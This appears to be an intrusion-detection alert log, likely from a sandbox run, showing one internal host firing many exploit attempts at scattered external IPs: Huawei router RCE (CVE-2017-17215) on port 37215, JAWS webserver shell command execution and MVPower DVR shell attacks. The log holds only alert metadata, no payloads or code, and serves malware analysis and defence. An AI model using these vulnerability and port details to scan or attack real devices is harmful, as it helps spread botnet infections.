ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.230.86.20

Timestamp:	06/10/24-15:38:02.647206
SID:	2835222
Source Port:	39070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.159.10.140

Timestamp:	06/10/24-15:37:59.985167
SID:	2829579
Source Port:	57818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.207.144.176

Timestamp:	06/10/24-15:38:00.263818
SID:	2829579
Source Port:	45736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.122.95.109

Timestamp:	06/10/24-15:38:02.707896
SID:	2835222
Source Port:	52190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.102.185.160

Timestamp:	06/10/24-15:38:00.132023
SID:	2829579
Source Port:	43292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 117.64.201.48

Timestamp:	06/10/24-15:38:02.135826
SID:	2030092
Source Port:	45424
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.168.136.24

Timestamp:	06/10/24-15:37:59.992906
SID:	2835222
Source Port:	33394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.255.67.237

Timestamp:	06/10/24-15:38:02.814855
SID:	2829579
Source Port:	35140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.226.55.109

Timestamp:	06/10/24-15:38:00.191721
SID:	2829579
Source Port:	48406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.176.31.94

Timestamp:	06/10/24-15:38:00.016307
SID:	2829579
Source Port:	60502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.155.61.239

Timestamp:	06/10/24-15:38:02.500887
SID:	2835222
Source Port:	34050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.64.191.165

Timestamp:	06/10/24-15:38:02.651590
SID:	2829579
Source Port:	45096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.195.196.75

Timestamp:	06/10/24-15:38:00.260853
SID:	2829579
Source Port:	44940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.79.189.48

Timestamp:	06/10/24-15:38:00.166755
SID:	2829579
Source Port:	34632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.158.23.49

Timestamp:	06/10/24-15:38:02.877070
SID:	2835222
Source Port:	54630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.230.194.3

Timestamp:	06/10/24-15:37:59.967169
SID:	2835222
Source Port:	36602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.27.124.211

Timestamp:	06/10/24-15:38:00.235344
SID:	2835222
Source Port:	51868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.167.77.113

Timestamp:	06/10/24-15:38:00.022039
SID:	2829579
Source Port:	48046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.211.105.203

Timestamp:	06/10/24-15:38:00.028419
SID:	2835222
Source Port:	42996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 62.45.198.223

Timestamp:	06/10/24-15:38:02.181988
SID:	2030092
Source Port:	39736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.190.41.183

Timestamp:	06/10/24-15:37:59.926044
SID:	2835222
Source Port:	44436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.253.198.195

Timestamp:	06/10/24-15:38:02.793700
SID:	2835222
Source Port:	44336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.234.232.228

Timestamp:	06/10/24-15:37:59.966319
SID:	2835222
Source Port:	41788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.84.42.33

Timestamp:	06/10/24-15:38:02.495900
SID:	2829579
Source Port:	54566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 66.229.246.168

Timestamp:	06/10/24-15:38:02.195818
SID:	2030092
Source Port:	45542
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.213.29.197

Timestamp:	06/10/24-15:38:02.911966
SID:	2835222
Source Port:	33880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.163.189.151

Timestamp:	06/10/24-15:38:00.017007
SID:	2829579
Source Port:	41972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.212.201.147

Timestamp:	06/10/24-15:38:02.503623
SID:	2829579
Source Port:	36608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.167.31.0

Timestamp:	06/10/24-15:38:02.762083
SID:	2829579
Source Port:	59392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.67.226.82

Timestamp:	06/10/24-15:37:59.935900
SID:	2835222
Source Port:	38508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.171.135.28

Timestamp:	06/10/24-15:38:00.259448
SID:	2829579
Source Port:	58672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.205.253.53

Timestamp:	06/10/24-15:37:59.929860
SID:	2829579
Source Port:	33796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 116.139.9.42

Timestamp:	06/10/24-15:38:02.094682
SID:	2025883
Source Port:	41156
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.150.3.195

Timestamp:	06/10/24-15:38:02.705525
SID:	2829579
Source Port:	49644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.59.140.99

Timestamp:	06/10/24-15:38:00.023435
SID:	2829579
Source Port:	56786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.132.214.203

Timestamp:	06/10/24-15:38:00.248014
SID:	2829579
Source Port:	34566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.180.76.156

Timestamp:	06/10/24-15:38:02.719824
SID:	2829579
Source Port:	37502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.237.170.76

Timestamp:	06/10/24-15:37:59.962047
SID:	2835222
Source Port:	56114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.202.215.189

Timestamp:	06/10/24-15:38:00.164438
SID:	2829579
Source Port:	48850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.241.36

Timestamp:	06/10/24-15:38:00.226767
SID:	2829579
Source Port:	33888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 8.145.15.147

Timestamp:	06/10/24-15:38:02.084446
SID:	2025883
Source Port:	43700
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.0.196.5

Timestamp:	06/10/24-15:38:02.709297
SID:	2829579
Source Port:	33708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.100.179.179

Timestamp:	06/10/24-15:38:02.745716
SID:	2835222
Source Port:	45604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.31.52.172

Timestamp:	06/10/24-15:38:02.857260
SID:	2835222
Source Port:	52206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 190.161.182.142

Timestamp:	06/10/24-15:38:02.128991
SID:	2030092
Source Port:	44504
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.86.244.31

Timestamp:	06/10/24-15:38:02.731556
SID:	2835222
Source Port:	54960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.255.245.2

Timestamp:	06/10/24-15:38:02.751686
SID:	2835222
Source Port:	53884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.126.41.40

Timestamp:	06/10/24-15:38:02.734955
SID:	2835222
Source Port:	57338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.231.143.228

Timestamp:	06/10/24-15:38:02.648657
SID:	2835222
Source Port:	44284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.210.141.62

Timestamp:	06/10/24-15:38:02.664556
SID:	2835222
Source Port:	42468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.137.31.90

Timestamp:	06/10/24-15:38:00.224097
SID:	2835222
Source Port:	47094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.100.123.7

Timestamp:	06/10/24-15:38:02.810751
SID:	2829579
Source Port:	53740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.37.79.4

Timestamp:	06/10/24-15:37:59.979091
SID:	2829579
Source Port:	45156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.51.65.173

Timestamp:	06/10/24-15:38:02.615090
SID:	2829579
Source Port:	52872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 39.154.202.115

Timestamp:	06/10/24-15:38:02.200766
SID:	2030092
Source Port:	55206
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 202.69.204.2

Timestamp:	06/10/24-15:38:02.252788
SID:	2030092
Source Port:	44368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 147.119.198.29

Timestamp:	06/10/24-15:38:02.102548
SID:	2030092
Source Port:	41406
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 109.50.38.173

Timestamp:	06/10/24-15:38:02.219305
SID:	2030092
Source Port:	33066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.230.96.138

Timestamp:	06/10/24-15:38:02.907506
SID:	2829579
Source Port:	51602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.29.235.89

Timestamp:	06/10/24-15:37:59.991203
SID:	2829579
Source Port:	52860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.128.46.215

Timestamp:	06/10/24-15:38:00.205893
SID:	2835222
Source Port:	36610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 78.97.49.13

Timestamp:	06/10/24-15:38:02.241705
SID:	2030092
Source Port:	50282
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.196.209.129

Timestamp:	06/10/24-15:38:00.268090
SID:	2829579
Source Port:	59132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.194.53.246

Timestamp:	06/10/24-15:38:02.488949
SID:	2829579
Source Port:	38910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 110.144.244.193

Timestamp:	06/10/24-15:38:02.161714
SID:	2030092
Source Port:	50788
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.197.209.223

Timestamp:	06/10/24-15:37:59.984293
SID:	2835222
Source Port:	52668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 80.234.35.77

Timestamp:	06/10/24-15:37:59.863643
SID:	2030092
Source Port:	43232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 120.127.248.215

Timestamp:	06/10/24-15:37:59.852064
SID:	2030092
Source Port:	45994
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 105.229.187.237

Timestamp:	06/10/24-15:38:02.150981
SID:	2030092
Source Port:	42214
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 37.113.221.65

Timestamp:	06/10/24-15:38:02.107053
SID:	2030092
Source Port:	49634
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 181.43.113.5

Timestamp:	06/10/24-15:38:02.189189
SID:	2030092
Source Port:	54590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.237.24

Timestamp:	06/10/24-15:38:02.649435
SID:	2835222
Source Port:	44504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.25.179.14

Timestamp:	06/10/24-15:38:00.211497
SID:	2835222
Source Port:	45922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.58.2.142

Timestamp:	06/10/24-15:38:02.739622
SID:	2835222
Source Port:	58650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.207.139.16

Timestamp:	06/10/24-15:38:02.781625
SID:	2835222
Source Port:	39322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.68.192.29

Timestamp:	06/10/24-15:37:59.833827
SID:	2030092
Source Port:	51492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.246.148.60

Timestamp:	06/10/24-15:38:02.914938
SID:	2829579
Source Port:	59818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.58.68.31

Timestamp:	06/10/24-15:38:02.688716
SID:	2829579
Source Port:	42320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 193.5.227.125

Timestamp:	06/10/24-15:37:59.769858
SID:	2025883
Source Port:	39338
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.140.243

Timestamp:	06/10/24-15:38:00.165713
SID:	2829579
Source Port:	36522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.182.157.126

Timestamp:	06/10/24-15:38:02.765712
SID:	2835222
Source Port:	42732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 115.56.153.54

Timestamp:	06/10/24-15:37:59.774510
SID:	2030092
Source Port:	54128
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 181.122.54.158

Timestamp:	06/10/24-15:38:02.261737
SID:	2030092
Source Port:	32990
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 186.93.20.106

Timestamp:	06/10/24-15:38:02.177787
SID:	2030092
Source Port:	54386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.189.9.139

Timestamp:	06/10/24-15:38:02.791154
SID:	2835222
Source Port:	34792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.114.103.51

Timestamp:	06/10/24-15:38:00.233672
SID:	2829579
Source Port:	59904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.214.46.200

Timestamp:	06/10/24-15:38:00.187605
SID:	2829579
Source Port:	46806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.69.149.120

Timestamp:	06/10/24-15:38:00.178071
SID:	2835222
Source Port:	44078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.169.48

Timestamp:	06/10/24-15:38:02.500162
SID:	2829579
Source Port:	43270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.19.238.181

Timestamp:	06/10/24-15:38:02.683936
SID:	2829579
Source Port:	59854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.189.36.162

Timestamp:	06/10/24-15:38:02.925765
SID:	2829579
Source Port:	55820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.16.236.173

Timestamp:	06/10/24-15:38:02.868091
SID:	2835222
Source Port:	40972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 202.253.242.169

Timestamp:	06/10/24-15:38:02.225181
SID:	2030092
Source Port:	51454
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 57.244.132.164

Timestamp:	06/10/24-15:37:59.758232
SID:	2025883
Source Port:	43434
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.254.128.168

Timestamp:	06/10/24-15:38:02.650837
SID:	2829579
Source Port:	42044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.98.155.71

Timestamp:	06/10/24-15:38:02.645712
SID:	2829579
Source Port:	43262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.138.83.212

Timestamp:	06/10/24-15:38:02.655152
SID:	2829579
Source Port:	48126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.129.146.218

Timestamp:	06/10/24-15:38:00.266123
SID:	2835222
Source Port:	37370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.62.210.214

Timestamp:	06/10/24-15:38:00.210637
SID:	2829579
Source Port:	50210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.164.177

Timestamp:	06/10/24-15:38:00.222372
SID:	2829579
Source Port:	57074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.179.20.17

Timestamp:	06/10/24-15:38:02.932450
SID:	2835222
Source Port:	33406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.234.121.196

Timestamp:	06/10/24-15:38:02.847965
SID:	2829579
Source Port:	46436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 51.241.250.184

Timestamp:	06/10/24-15:38:02.185648
SID:	2030092
Source Port:	38838
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.63.241.27

Timestamp:	06/10/24-15:38:00.002137
SID:	2829579
Source Port:	54402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.59.177.15

Timestamp:	06/10/24-15:37:59.962891
SID:	2829579
Source Port:	58138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.78.178.23

Timestamp:	06/10/24-15:38:02.921767
SID:	2835222
Source Port:	37950
Destination Port:	37215
Protocol:	TCP
